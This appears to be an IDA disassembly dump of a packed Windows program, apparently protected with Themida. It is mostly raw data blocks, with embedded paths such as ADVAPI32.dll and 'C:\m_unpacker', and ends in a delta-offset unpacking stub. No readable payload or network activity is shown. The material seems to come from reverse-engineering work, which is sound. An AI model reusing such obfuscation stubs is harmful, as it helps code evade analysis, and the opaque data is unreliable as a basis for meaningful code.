		dd 0F23581FDh, 1FB126F8h, 70488944h, 7908D131h,	0B0EC8700h
		dd 9A2C0A63h, 8B2730EFh, 0DCDF62B8h, 0C9A66F30h, 0CF9FB2h
		dd 650B87F4h, 201DC6AEh, 7066F003h, 0A4049Bh, 97592F29h
		dd 0C2E5765Eh, 70886554h, 3D00DA74h, 0CCBC08F9h, 0A94840h
		dd 72CB83Eh, 2D5AD188h,	0C0046D29h, 9F816400h, 0F13C117Eh
		dd 0C36FE8h, 2EF9DDC5h,	15E4E007h, 4AE3401Dh, 54CEDFCAh
		dd 14698401h, 11806C04h, 85CAC132h, 9207EDE9h, 0B8DF3979h
		dd 22471AE3h, 74EA75E0h, 0C0F8306Fh, 0BEE7FA7h,	260281Dh
		dd 1FFA07E5h, 0C1FCC6AAh, 8B5AC285h, 8E6382D9h,	1BEABB1h
		dd 0ECE8EF8Ch, 0F5F1B050h, 0BB20086h, 88D92717h, 2F18E3EEh
		dd 0CC693AE5h, 3241006Ah, 0D42D6DB0h, 0E03B2EDh, 8742EFB4h
		dd 0BBE3D880h, 0E1BE303Eh, 265BCC71h, 0E9243DE8h, 59099369h
		dd 66C60082h, 12141FD4h, 20A9ED21h, 0D0C08944h,	0DC5EF528h
		dd 0A6BE2307h, 0EE13EF3Ah, 38A950E1h, 784909Ah,	0B56F531Ah
		dd 8340BE1Fh, 0F6597DCh, 56EA500h, 75FF57EAh, 9C39C7F7h
		dd 8323C09Fh, 7900C210h, 11F49741h, 1DFA8595h, 0F2ADEEh
		dd 939CDB18h, 0BDB0AAC9h, 40B8400h, 0A502E389h,	6DA3010Ch
		dd 99509FDCh, 71822BFh,	0F5AE73CFh, 1B28BD80h, 0A46400B4h
		dd 0ED924B0Ah, 3F007757h, 9A184D02h, 0E4DF2069h, 0A5AA004Fh
		dd 8291233Dh, 9E546D62h, 0D10589B4h, 7AC4E2Dh, 152AF820h
		dd 457902E2h, 0EE8CB991h, 6AEA4057h, 40E1C1B1h,	0E86392ADh
		dd 0E4003D28h, 320B0F9Eh, 38D0EC0h, 36CB7420h, 15901870h
		dd 3400593Ch, 8850DD3Dh, 3B4B0394h, 0EA933EA7h,	700C32ABh
		dd 0F31BA820h, 14B7007Bh, 0C45263BCh, 23395D51h, 0BD080EC7h
		dd 39305EE0h, 36BF372h,	38C32522h, 0A0F8FAF6h, 0E5009953h
		dd 0C0A54FEDh, 0F8F84C02h, 0B84B0AA3h, 802013C7h, 0B57966B2h
		dd 0EAF4D425h, 0FE009D7Bh, 7C2ED184h, 0A00A6205h, 0A8E2807Ch
		dd 78388B9Ch, 7BA7095Eh, 9901A2F0h, 0CDD9EDBDh,	958C30AFh
		dd 0E29658h, 0F521103Fh, 3039C07Eh, 0E2799EBEh,	1000450h
		dd 0B8CB069Fh, 4408FCh,	3C0B2E29h, 0DC3B4589h, 3176C235h
		dd 0C0AD0C0Fh, 93B5148Eh, 905771D5h, 95EE3024h,	500F671Eh
		dd 2E04F90Ah, 0E40034BDh, 0C9B4BEB1h, 9DEB01D1h, 6A641355h
		dd 7932014h, 0F8E81F7Bh, 0B06A179h, 0F4485EEFh,	640500F1h
		dd 0BCC7B319h, 0E700AD84h, 0D9F5D7CBh, 481FEFEDh, 5602209Bh
		dd 0A4070DF8h, 0A8238820h, 938303E3h, 0C675F40Eh, 0B43E5101h
		dd 46ED7D9Bh, 7C74BEF4h, 4A2EE1Ah, 0F090C4F6h, 0ABF8D1FBh
		dd 20583001h, 3F6F0722h, 0FA029EA9h, 0CB7A9077h, 0CC0B8C60h
		dd 52483AFAh, 0E07024CCh, 89E22108h, 3013AAEDh,	0DC90B074h
		dd 56EA521Fh, 888C19B4h, 0D6F100C7h, 9BD2736Bh,	47FDF557h
		dd 0ABD8E0E5h, 0B6004509h, 0CF3FFE7Dh, 2887BE55h, 1DC07A69h
		dd 9A2A785h, 1020DD93h,	25CE0E8Eh, 3AA3C502h, 60DBA632h
		dd 4DC1124h, 0C2335A22h, 2D5080CFh, 2C9193B3h, 7848F000h
		dd 16D875C1h, 82A9BD7h,	0BF83F74Ch, 0A1EB4DFDh,	0D6D4F903h
		dd 0D047027Ah, 0E3EF7561h, 1C0B7C80h, 700A12C5h, 0A4CDFCE6h
		dd 0E92EDC00h, 0CFE8099h, 9404A62Bh, 5A4C2108h,	0C8127864h
		dd 0A000F429h, 3ED2DB7Bh, 9E6E010Bh, 19A34F10h,	0A594538Ah
		dd 4D6073E2h, 6414C52Eh, 7B60466Fh, 9E38D158h, 192AB982h
		dd 165420A1h, 0D3012F87h, 0E0FD1B46h, 0B0F00B89h, 594E02F1h
		dd 0FF7D6393h, 0B8006062h, 0FB6B9051h, 871F3507h, 969037D1h
		dd 0FC8D17EFh, 614D7243h, 8C80B0EBh, 0A411F01Bh, 0E6B77505h
		dd 5C823DDCh, 0DA0A2FDDh, 0B6840044h, 6D6F7B49h, 89212B60h
		dd 26748C94h, 404879BFh, 9F934E5Fh, 6FD59100h, 0A53DC085h
		dd 3717017Dh, 0DFCD5ED7h, 5A2432C2h, 0D1010BACh, 0F52BEC3Dh
		dd 710AD3EFh, 1CC3A62h,	6CFFFF5Fh, 0
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_5478C5:				; CODE XREF: start:loc_4E0265j
					; DATA XREF: start:loc_4E0086o
		jmp	loc_54AEC2
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dw 6028h
		dd 0FE9Eh, 6 dup(0)
		dd 3040000h, 7FFEh, 74500000h, 4D0DF128h, 48C9h, 3 dup(0)
		dd 700000h, 98160000h, 2F6Ch, 77DDh, 2 dup(0)
		dd 0DCF80000h, 0FFA8h, 3 dup(0)
		dd 69DD0000h, 6CB800A1h, 24Ah, 10000h, 3 dup(0)
		dd 98780000h, 0FFA4h, 0
		dd 0AE630000h, 60A24C97h, 0B7h,	0Ah dup(0)
		dd 76790000h, 6DAAh, 0
		dd 0C96A0000h, 77D4h, 90030000h, 0F8481B68h, 0FAF0h, 2 dup(0)
		dd 10000h, 0
		dd 3040000h, 7FFEh, 2 dup(0)
		dd 0A6050000h, 7FFEh, 46F00000h, 14h, 6	dup(0)
		dd 32680000h, 0A2h, 0F42B0000h,	4B72h, 5 dup(0)
		dd 77E6h, 0
		dd 20000h, 0
		dd 36ED0000h, 222AE613h, 57h, 86B60000h, 3 dup(0)
		dd 0FF8C0000h, 858h, 4 dup(0)
		dd 10000000h, 0FFB00000h, 0B1010211h, 5Ah, 15h dup(0)
		dd 169A0000h, 24180000h, 2 dup(0)
		dd 10000h, 0AC060000h, 4A26h, 0Ah dup(0)
		dd 0D9520000h, 57h, 0
		dd 8D8D0000h, 250Dh, 3C900000h,	58h, 3 dup(0)
		dd 69DD0000h, 0FF6400A1h, 12h, 9 dup(0)
		dd 0A59E0000h, 54h, 7 dup(0)
		dd 40000h, 4 dup(0)
		dd 0DBFF0000h, 4E2h, 20000h, 3 dup(0)
		dd 3040000h, 7FFEh, 99500000h, 0E12Dh, 0Bh dup(0)
		dd 8D2E0000h, 0AF7h, 0
		dd 77CA0000h, 0DC28h, 0
		dd 22920000h, 0A1h, 2 dup(0)
		dd 0AA890000h, 57h, 96230000h, 0FF5Eh, 0
		dd 0DA440000h, 0C246h, 0B9FC0000h, 5Bh,	0
		dd 0A4E40000h, 23FFFFh,	58h, 3 dup(0)
		dd 0AE30000h, 0F9F7h, 0
		dd 0AE30000h, 5Ch, 4 dup(0)
		dd 60000h, 7 dup(0)
		dd 0D9520000h, 0CCD10057h, 7D39h, 0Bh dup(0)
		dd 0EE5D0000h, 0FFA7h, 0
		dd 9BAC0000h, 0A3h, 8 dup(0)
		dd 5B7F0000h, 32686D8Dh, 0A2h, 0
		dd 69DD0000h, 0A1h, 4 dup(0)
		dd 5D80000h, 30477E8h, 7FFEh, 3	dup(0)
		dd 10000h, 5 dup(0)
		dd 0B3850000h, 57h, 0E4B20000h,	7C61h, 3 dup(0)
		dd 0FCFC0000h, 8001h, 0C4860000h, 77E7h, 0Bh dup(0)
		dd 11110000h, 80491111h, 8040h,	3 dup(0)
		dd 80490000h, 8040h, 5 dup(0)
		dd 25Bh, 3 dup(0)
		dd 3EC0000h, 0A2460000h, 5Ch, 0
		dd 3200000h, 58h, 5 dup(0)
		dd 36360000h, 69573636h, 0FF00h, 4 dup(0)
		dd 0B0DC0000h, 57h, 0
		dd 0CA2C0000h, 26A9FFA8h, 58h, 6 dup(0)
		dd 0C96A0000h, 0EA1477D4h, 30DFBD2Fh, 0A9C5h, 0
		dd 0AE30000h, 0F9F7h, 2	dup(0)
		dd 3040000h, 7FFEh, 22D00000h, 0EF55h, 7B690000h, 3040000h
		dd 7FFEh, 9 dup(0)
		dd 92340000h, 249200A1h, 0E046h, 4 dup(0)
		dd 48F30000h, 0BBEB6B27h, 9816797Fh, 2F6Ch, 7 dup(0)
		dd 0A40000h, 29300000h,	5704005Ah, 5Bh,	9F70000h, 0A1h
		dd 0
		dd 0B6C00000h, 86160000h, 3A430054h, 4E49575Ch,	53574F44h
		dd 7379535Ch, 336D6574h, 44415C32h, 49504156h, 642E3233h
		dd 6C6Ch, 3Ah dup(0)
		dd 1DE90000h, 0
		dd 230000h, 58h, 0
		dd 21600000h, 77E8h, 0
		dd 0C2560000h, 5Bh, 2 dup(0)
		dd 0D7570000h, 0FFFFh, 0
		dd 3CE90000h, 1, 7 dup(0)
		dd 10000000h, 70A80040h, 1121h,	9 dup(0)
		dd 957A0000h, 54h, 3 dup(0)
		dd 40000000h, 1Dh, 0
		dd 5F90000h, 7735785h, 3135h, 0
		dd 2B0000h, 0
		dd 52130000h, 5C13h, 80490000h,	8040h, 0D9290000h, 0FFA7h
		dd 0Fh dup(0)
		dd 3040000h, 14D97FFEh,	0C53C005Ah, 1, 220E0000h, 14h
		dd 9 dup(0)
		dd 0A00F0000h, 68CA00A1h, 11A3B979h, 58h, 3 dup(0)
		dd 0F12B0000h, 16AFh, 0
		dd 3040000h, 7FFEh, 6 dup(0)
		dd 3040000h, 7FFEh, 9 dup(0)
		dd 3700000h, 5Ah, 6 dup(0)
		dd 0AB6F0000h, 57B7h, 160A0000h, 952h, 0B0D20000h, 58h
		dd 23h dup(0)
		dd 189A0000h, 77DDh, 9C0000h, 304FFEDh,	7FFEh, 2 dup(0)
		dd 0D9520000h, 57h, 940000h, 8 dup(0)
		dd 304028Ah, 7FFEh, 2 dup(0)
		dd 36180000h, 4E59FDA6h, 0AB45FFF3h, 5Ch, 24h dup(0)
		dd 0FFFF0000h, 0FFFFh, 3 dup(0)
		dd 41E10000h, 0FCFC0057h, 0AFB8001h, 0FFA7h, 5 dup(0)
		dd 6C0000h, 0
		dd 7FD80000h, 30400A3h,	7FFEh, 3 dup(0)
		dd 9816025Ch, 2F6Ch, 0
		dd 0D4900000h, 0CB58h, 68540000h, 64696D65h, 61h, 1Dh dup(0)
		dd 0BEA80000h, 161h, 2 dup(0)
		dd 75E20000h, 5Ah, 0Ch dup(0)
		dd 0F80A0000h, 59h, 7 dup(0)
		dd 0FF640000h, 12h, 3 dup(0)
		dd 81A80000h, 0A00FFFA8h, 0A1h,	8D530000h, 804900A5h, 8040h
		dd 0
		dd 0F7580000h, 353Dh, 5	dup(0)
		dd 3040000h, 7FFEh, 0Ah	dup(0)
		dd 66300000h, 0
		dd 3040000h, 7FFEh, 0B9590000h,	54h, 3 dup(0)
		dd 10000h, 31540000h, 335Ch, 0Ah dup(0)
		dd 3040000h, 7FFEh, 0
		dd 40000h, 77A70000h, 48FAh, 6E5A0000h,	2 dup(0)
		dd 98160000h, 2F6Ch, 0D7060000h, 648677E6h, 5Bh, 4 dup(0)
		dd 5CB50000h, 77E7h, 6 dup(0)
		dd 0FFB00000h, 0AC0211h, 0E2130000h, 5949h, 0FA560000h
		dd 0A1h, 3200000h, 5C210058h, 6B04h, 4 dup(0)
		dd 230000h, 54h, 0
		dd 210F0000h, 57h, 8FEC0000h, 58h, 31450000h, 0A1h, 2 dup(0)
		dd 69640000h, 9847B9h, 5 dup(0)
		dd 10000h, 86C30000h, 77D6h, 3C900000h,	58h, 0E700000h
		dd 202h, 0
		dd 0A9BF0000h, 6972h, 6	dup(0)
		dd 0FE80000h, 0AE30000h, 0F9F7h, 14E80000h, 0
		dd 0FFB00000h, 211h, 5 dup(0)
		dd 7FFF0000h, 2	dup(0)
		dd 85050000h, 58h, 390000h, 3 dup(0)
		dd 0CE2C0000h, 0EF7Ah, 7E2A0000h, 5Bh, 73160000h, 0A3h
		dd 7 dup(0)
		dd 3A6D00B8h, 8483h, 8CF40000h,	9AD0FFFFh, 430h, 6E5A0000h
		dd 5 dup(0)
		dd 0DE7C0000h, 0D65709FAh, 0FFA7h, 0D6E0000h, 9CFFA8h
		dd 3 dup(0)
		dd 0EE6C0000h, 655203B9h, 72617473h, 70704174h,	6578652Eh
		dd 0
		dd 26FD0000h, 58h, 2 dup(0)
		dd 0C3B10000h, 0FF2E0059h, 7E40h, 0
		dd 0F9F80000h, 3, 0
		dd 0A00F0000h, 0A1h, 5 dup(0)
		dd 0DFBF0000h, 33FB3EB8h, 77E7h, 6 dup(0)
		dd 1050000h, 500A28h, 0FE8Eh, 5	dup(0)
		dd 6180000h, 77E8h, 5 dup(0)
		dd 0BC0B0000h, 54h, 3 dup(0)
		dd 14340000h, 4	dup(0)
		dd 21400000h, 2, 4 dup(0)
		dd 76CD0000h, 77E7h, 0
		dd 6E5A0000h, 0Ah dup(0)
		dd 7D10000h, 0
		dd 9C370000h, 0C0CB00A1h, 58h, 0
		dd 0FFFA0000h, 5BC1FFFFh, 12h, 5 dup(0)
		dd 0A6E90000h, 77EBh, 0F570000h, 5Ah, 0
		dd 0A0h, 3 dup(0)
		dd 0E2570000h, 0BA4Ah, 5 dup(0)
		dd 98FC0000h, 59h, 2 dup(0)
		dd 94B00000h, 5Ch, 0
		dd 8FF30000h, 0CE4Eh, 2	dup(0)
		dd 0A35F0000h, 54h, 8 dup(0)
		dd 6CB00000h, 0A1h, 2 dup(0)
		dd 8C0A0000h, 0A1h, 0F1A00000h,	59h, 8B820000h,	77E7h
		dd 3 dup(0)
		dd 0CB790000h, 3813h, 9	dup(0)
		dd 0BC550000h, 277Eh, 0A1440000h, 400177E7h, 10000h, 0B3350000h
		dd 69DD0057h, 48AA00A1h, 0FF4Eh, 0
		dd 7C0000h, 0
		dd 0FFFF0000h, 0FFFFh, 0
		dd 0A8370000h, 77E7h, 4	dup(0)
		dd 1AC10000h, 217h, 0
		dd 0FCED0000h, 58h, 3040000h, 7FFEh, 7B60000h, 0
		dd 6BBC0000h, 24Ah, 0BE80000h, 0
		dd 0A5FD0000h, 77E7h, 3	dup(0)
		dd 0CFC80000h, 0E056h, 2 dup(0)
		dd 2B5E0000h, 2121B25Ch, 0F9492121h, 0B8E80058h, 564Ch
		dd 6 dup(0)
		dd 38FD0000h, 882Bh, 0
		dd 6E5A0000h, 9C40000h,	59h, 0B1CA0000h, 0AFh, 4 dup(0)
		dd 868A0000h, 0B229h, 0
		dd 10000h, 2 dup(0)
		dd 59F00000h, 77DDh, 2 dup(0)
		dd 740000h, 8 dup(0)
		dd 97AD0000h, 5Ch, 44350000h, 304005Bh,	7FFEh, 2 dup(0)
		dd 0A13F0000h, 77E7h, 0
		dd 76CD0000h, 77E7h, 8 dup(0)
		dd 0E6A40000h, 4B91h, 0Dh dup(0)
		dd 11FF0000h, 5943h, 4 dup(0)
		dd 38A80000h, 203Ah, 3 dup(0)
		dd 3EDE0000h, 6309h, 5 dup(0)
		dd 81E80000h, 58h, 6BCE0000h, 1B40024Ah, 0A1D176B4h, 0FFA7h
		dd 2 dup(0)
		dd 10000h, 0
		dd 3040000h, 7FFEh, 3 dup(0)
		dd 3040000h, 7FFEh, 0
		dd 0CE210000h, 143Bh, 6	dup(0)
		dd 9BB20000h, 0A0D0h, 3	dup(0)
		dd 0CE210000h, 143Bh, 6	dup(0)
		dd 98160000h, 2F6Ch, 7A070000h,	9DD20058h, 5Ah,	11A30000h
		dd 58h,	11h dup(0)
		dd 98480000h, 0FFFFh, 0
		dd 0CA10000h, 0FFFD005Ah, 0FFFFh, 2 dup(0)
		dd 52B10000h, 42D3FFA5h, 0A1h, 0Ch dup(0)
		dd 0E800000h, 80040000h, 7FFEh,	59740000h, 0C8958655h
		dd 58h,	4 dup(0)
		dd 0B80000h, 0B000000h,	0C20374C0h, 448B0018h, 0E8530C24h
		dd 0
		dd 17C3815Bh, 89000000h, 8910245Ch, 5B142444h, 0A1A037B8h
		dd 8BE0FF00h, 0FF042444h, 0E0h,	12h dup(0)
		dd 9BAC0000h, 0A3h, 9 dup(0)
		dd 20000h, 5 dup(0)
		dd 67880000h, 3E68005Bh, 0FFFC77E8h, 0FFFFh, 19h dup(0)
		dd 9BD90000h, 3047FF4h,	7FFEh, 2 dup(0)
		dd 227C0000h, 0A5E7FFFFh, 0A5h,	7 dup(0)
		dd 69DD0000h, 0A1h, 0
		dd 0F1D10000h, 69DFh, 0
		dd 0AC030000h, 5Ch, 95440000h, 5Ah, 0B0C20000h,	69DD0057h
		dd 0A1h, 3 dup(0)
		dd 0C6FF0000h, 0B6A4FFFFh, 0FFA6h, 2 dup(0)
		dd offset dword_4FF844+7BCh
		dd 19FE8Eh, 3 dup(0)
		dd 5D090000h, 140000h, 0Eh, 0FFB00000h,	8C530201h, 3A5Ah
		dd 4 dup(0)
		dd 95500000h, 8B3E0058h, 54h, 7	dup(0)
		dd 31D40000h, 1085h, 4 dup(0)
		dd 0D5540000h, 30400A0h, 7FFEh,	7 dup(0)
		dd 3040000h, 7FFEh, 0
		dd 2E0F0040h, 77F5h, 4 dup(0)
		dd 880000h, 0
		dd 0FFB00000h, 201h, 0
		dd 3A430000h, 755F6D5Ch, 6361706Eh, 72656Bh, 7Ch dup(0)
		dd 0F1CB0000h, 227Fh, 3	dup(0)
		dd 76B4h, 3 dup(0)
		dd 2A330000h, 2804h, 0FFB00000h, 161h, 8FF40000h, 0FFFFh
		dd 0Bh dup(0)
		dd 0B69B0000h, 0
		dd 0EB180000h, 0FFFFh, 5 dup(0)
		dd 6E5A0000h, 5CB50000h, 0A35E77E7h, 54h, 0
		dd 11180000h, 3	dup(0)
		dd 0B1340000h, 64C300A3h, 5Bh, 81h dup(0)
		dd 3040000h, 0D9527FFEh, 57h, 0
		dd 23E80000h, 0A2h, 0AC5E0000h,	77E7h, 3 dup(0)
		dd 0E0500000h, 0FFC4005Bh, 6A2E0012h, 0C08177E7h, 6C55F3h
		dd 3 dup(0)
		dd 25Bh, 0D9F60000h, 58h, 4 dup(0)
		dd 6CB00000h, 86600000h, 0EE6C9624h, 3B9h, 6 dup(0)
		dd 41C70000h, 5Ah, 0
		dd 0B7940000h, 59h, 0
		dd 11540000h, 4DD6h, 54D90000h,	9E610057h, 0E893D7A8h
		dd 4 dup(0)
		dd 0DA440000h, 0C246h, 56500000h, 5Bh, 0
		dd 23D70000h, 77DDh, 69DD0000h,	0A1h, 3	dup(0)
		dd 5CE50000h, 8873h, 15680000h,	5B800A2h, 4A7Eh, 0FFF00000h
		dd 12h,	4 dup(0)
		dd 0AFh, 9D4D0000h, 58h, 8D1B0000h, 54Fh, 230000h, 58h
		dd 0
		dd 0FB7A0000h, 0D097h, 6 dup(0)
		dd 0A80000h, 0A2700000h, 0FF86h, 0
		dd 93930000h, 0A1h, 0
		dd 230000h, 58h, 2 dup(0)
		dd 69DD0000h, 0A1h, 2 dup(0)
		dd 0FFB00000h, 241h, 5 dup(0)
		dd 0AB130000h, 5Ch, 8 dup(0)
		dd 0ACF0000h, 242h, 4 dup(0)
		dd 0A1440000h, 77E7h, 0Eh dup(0)
		dd 4E590000h, 0FFF3h, 25090000h, 8630h,	3 dup(0)
		dd 99500000h, 0E12Dh, 6BE00000h, 93EF005Bh, 51C277E7h
		dd 58h,	0
		dd 0BAA0000h, 59h, 0
		dd 0DA390000h, 59h, 0
		dd 0F9A80000h, 1753FD39h, 7C5FFA8h, 15E9h, 2 dup(0)
		dd 0FFFF0000h, 0A0990000h, 77E7h, 0
		dd 0CFE0000h, 5Ah, 0BF380000h, 5Ah, 2 dup(0)
		dd 0E8510000h, 0D287h, 0Ch dup(0)
		dd 0EE6C0000h, 103B9h, 0
		dd 41000000h, 0
		dd 7D90000h, 78F0h, 2 dup(0)
		dd 0FFE00000h, 0DA440012h, 0C246h, 2 dup(0)
		dd 0FFA40000h, 12h, 0F80000h, 0A0h, 5 dup(0)
		dd 21680000h, 77E8h, 5EFE0000h,	1F70h, 7 dup(0)
		dd 69DD0000h, 0A1h, 0
		dd 5CB50000h, 77E7h, 11h dup(0)
		dd 6F880000h, 5Bh, 8 dup(0)
		dd 230000h, 58h, 0
		dd 93DC0000h, 0FFFFh, 0Fh dup(0)
		dd 0A1FE0000h, 0B1h, 3 dup(0)
		dd 74AB0000h, 4339h, 2 dup(0)
		dd 0ED930000h, 5784h, 2	dup(0)
		dd 3040000h, 7FFEh, 3 dup(0)
		dd 3A00000h, 2 dup(0)
		dd 914B0000h, 45290058h, 5Bh, 4	dup(0)
		dd 230000h, 58h, 2 dup(0)
		dd 7B30000h, 0
		dd 1D80000h, 0B35D0040h, 81A80057h, 5FFA8h, 8 dup(0)
		dd 0CE210000h, 143Bh, 8	dup(0)
		dd 765A0000h, 59h, 3 dup(0)
		dd 4170000h, 4ACCh, 3040000h, 7FFEh, 9 dup(0)
		dd 6B4C0000h, 5Bh, 0
		dd 0D0000000h, 0FFBA000Dh, 0FF53h, 2 dup(0)
		dd 0F74D0000h, 7DFAFFFFh, 54h, 0
		dd 76CD0000h, 77E7h, 3 dup(0)
		dd 1FB000A0h, 0FFA4h, 2	dup(0)
		dd 0B84Bh, 6 dup(0)
		dd 4FCA0000h, 4	dup(0)
		dd 93B70000h, 0C6DA35EAh, 0FFFFh, 0Dh dup(0)
		dd 7DFA0000h, 54h, 4 dup(0)
		dd 21680000h, 980477E8h, 85DA3F15h, 0FFABh, 2 dup(0)
		dd 7CB70000h, 1, 15h dup(0)
		dd 76CD0000h, 77E7h, 3 dup(0)
		dd 6AF80000h, 5Bh, 3A00000h, 17h dup(0)
		dd 0AA890000h, 57h, 2 dup(0)
		dd 0A80000h, 2 dup(0)
		dd 25670000h, 2Eh dup(0)
		dd 77F5h, 3 dup(0)
		dd 9C6B0000h, 77E7h, 0
		dd 1DA90000h, 45B5h, 4 dup(0)
		dd 0AFh, 2 dup(0)
		dd 5910000h, 77E8h, 2 dup(0)
		dd 0F1A20000h, 0F227h, 7FFF0000h, 24Ah,	3 dup(0)
		dd 0E79A0000h, 0FFFFh, 2 dup(0)
		dd 5FF10000h, 0FF5Eh, 2FE80000h, 77E8h,	0
		dd 40010000h, 2	dup(0)
		dd 35D40000h, 5E2F0057h, 7F000058h, 0EC42h, 21140000h
		dd 80490057h, 8040h, 0Bh dup(0)
		dd 76200000h, 0
		dd 0FF540000h, 12h, 4 dup(0)
		dd 37420000h, 0FFA7h, 0E16B0000h, 0CC00005Bh, 0D30A0003h
		dd 77E7h, 0
		dd 99950000h, 0A5h, 3 dup(0)
		dd 0F1570000h, 1240h, 0Ch dup(0)
		dd 0F29F0000h, 0F50h, 2	dup(0)
		dd 8B820000h, 77E7h, 7 dup(0)
		dd 0AC060000h, 4A26h, 96A60000h, 800000h, 3 dup(0)
		dd 5CB90000h, 10058h, 2	dup(0)
		dd 169A0000h, 3	dup(0)
		dd 69DD0000h, 0A1h, 3 dup(0)
		dd 0C0700000h, 1C1Fh, 0
		dd 40000h, 3 dup(0)
		dd 0FFC80000h, 0FFFFh, 4 dup(0)
		dd 8C480000h, 0FFFFh, 4	dup(0)
		dd 8C0A0000h, 0A1h, 4 dup(0)
		dd 77D4h, 2Ch dup(0)
		dd 24E90000h, 57h, 0
		dd 76790000h, 6DAAh, 0
		dd 0A3060000h, 991h, 8C0000h, 2	dup(0)
		dd 58680000h, 564Dh, 0
		dd 79DD0000h, 0A1h, 3 dup(0)
		dd 780000h, 10h	dup(0)
		dd 0FFFF0000h, 70C4FFFFh, 0A1h,	6 dup(0)
		dd 7C570000h, 780E0058h, 8814h,	0
		dd 10000h, 4 dup(0)
		dd 730C0000h, 0
		dd 94990000h, 0A1h, 3 dup(0)
		dd 242h, 0FFFF0000h, 0B4EBFFFFh, 54h, 14h dup(0)
		dd 10000h, 0
		dd 22220000h, 22222222h, 97AD2222h, 5Ch, 0C44C0000h, 59h
		dd 0C9A30000h, 59h, 28270000h, 2993h, 214077F5h, 2, 0AC060000h
		dd 4A26h, 4 dup(0)
		dd 17B30000h, 347Ch, 0
		dd 98160000h, 29A92F6Ch, 58h, 4	dup(0)
		dd 3040000h, 7FFEh, 3 dup(0)
		dd 0CDE90000h, 4F06h, 8AAC0000h, 59h, 4	dup(0)
		dd 7FB50000h, 5CB53E5Ah, 77E7h,	0
		dd 65DF0000h, 58h, 4 dup(0)
		dd 6D230000h, 2	dup(0)
		dd 166D0000h, 5Ah, 9 dup(0)
		dd 76CD0000h, 4	dup(0)
		dd 717F0000h, 58h, 3 dup(0)
		dd 79630000h, 77E7h, 2 dup(0)
		dd 7280000h, 40h, 1FD80000h, 0B1h, 0
		dd 3040000h, 7FFEh, 76CD025Dh, 77E7h, 61h dup(0)
		dd 7E580000h, 57h, 3 dup(0)
		dd 3040000h, 7B697FFEh,	2 dup(0)
		dd 78C40000h, 0C078h, 10h dup(0)
		dd 0A00000h, 3040000h, 7FFEh, 2BDE0000h, 0A1h, 3 dup(0)
		dd 5ECC0000h, 77DDh, 0Ch dup(0)
		dd 6E5A0000h, 3040000h,	7FFEh, 3 dup(0)
		dd 6FE60000h, 6CCED053h, 0FFABh, 40000000h, 3, 35B0000h
		dd 4 dup(0)
		dd 14250000h, 0FEF5h, 5	dup(0)
		dd 69DD0000h, 0A1h, 7 dup(0)
		dd 0A475000Ch, 83ED59F8h, 29307FFFh, 5Ah, 0
		dd 7AE30000h, 182h, 0
		dd 0D370000h, 5Ah, 3 dup(0)
		dd 3C0000h, 0FE600A0h, 0A0h, 5 dup(0)
		dd 0E5730000h, 0FEF6h, 2Fh dup(0)
		dd 41CB0000h, 5Ah, 5 dup(0)
		dd 582E0000h, 11B5E306h, 58h, 0
		dd 7E80000h, 622EB84Bh,	8E06FFA5h, 0A00F0054h, 0A1h, 0AEh dup(0)
		dd 0AC060000h, 904A26h,	0
		dd 0E4140000h, 0A037005Ch, 0A1h, 0Bh dup(0)
		dd 0F9DD0000h, 0A3F9h, 8 dup(0)
		dd 26D70000h, 58h, 0
		dd 0D1070000h, 3 dup(0)
		dd 0CE210000h, 143Bh, 22E40000h, 5CB50000h, 77E7h, 10h dup(0)
		dd 0E700000h, 202h, 0Ch	dup(0)
		dd 3E3B0000h, 0A1h, 9E2E0000h, 58h, 2 dup(0)
		dd 230000h, 58h, 0
		dd 76C40000h, 0FFA8h, 69DD0000h, 6D2300A1h, 0AC030000h
		dd 5Ch,	0C00000h, 0
		dd 0FFFF0000h, 0FFFFh, 3 dup(0)
		dd 0DA440000h, 0C246h, 4 dup(0)
		dd 180B0000h, 77F5h, 0
		dd 24240000h, 3042424h,	7FFEh, 2 dup(0)
		dd 0B4EB0000h, 54h, 0
		dd 69DD0000h, 0A1h, 6DCC0000h, 0FF5Eh, 0
		dd 5E2E0000h, 0A1h, 9 dup(0)
		dd 3040000h, 7FFEh, 840000h, 4 dup(0)
		dd 230000h, 0AC060054h,	6E5A4A26h, 0
		dd 9AE00000h, 0FFFFh, 8	dup(0)
		dd 0FCFC0000h, 8001h, 0
		dd 22D80000h, 0A2h, 959C0000h, 0FFFFh, 2 dup(0)
		dd 98160000h, 2F6Ch, 0F29C0000h, 1D38h,	86C30000h, 77D6h
		dd 6 dup(0)
		dd 10000h, 62A0000h, 28Ah, 3 dup(0)
		dd 0C0000h, 242h, 0E0000000h, 4Dh, 7 dup(0)
		dd 71B80000h, 901EAF7Dh, 5Ah, 5	dup(0)
		dd 0BAE20000h, 8057h, 2	dup(0)
		dd 3040000h, 7FFEh, 5 dup(0)
		dd 6E5A0000h, 0E3020000h, 178Ch, 0BBEB0000h, 797Fh, 0CB790000h
		dd 3813h, 25Ah,	0
		dd 0FA070000h, 0A87Ah, 0
		dd 11A30000h, 58h, 40h,	3 dup(0)
		dd 915B0000h, 9B1200A1h, 5092h,	0
		dd 0CE280000h, 5Bh, 0F18C0000h,	2 dup(0)
		dd 6E5A0000h, 2	dup(0)
		dd 158D0000h, 0ACF453h,	0
		dd 33330000h, 2	dup(33333333h),	3333h, 4 dup(0)
		dd 0DA440000h, 0C246h, 0B1680000h, 0BBEB00A0h, 797Fh, 3	dup(0)
		dd 0AE30000h, 0F9F7h, 4	dup(0)
		dd 0FF540000h, 12h, 0EBB30000h,	77F7h, 6 dup(0)
		dd 11A30000h, 58h, 6 dup(0)
		dd 7BC10000h, 24E9005Ch, 57h, 7	dup(0)
		dd 0A0h, 6 dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_54AEC2:				; CODE XREF: start:loc_5478C5j
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 6A93607h
		mov	[ebp+6A91CD5h],	edx
		mov	[ebp+6A932F1h],	esi
		mov	[ebp+6A91DB5h],	eax
		cmp	dword ptr [ebp+6A932A1h], 0
		jz	short loc_54AEFA
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_54AEFA:				; CODE XREF: start+6AED8j
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+6A917B9h],	eax
		push	45h
		call	sub_54AFAE
		push	783749Ah
		call	sub_54AFF4
		push	0A894B25h
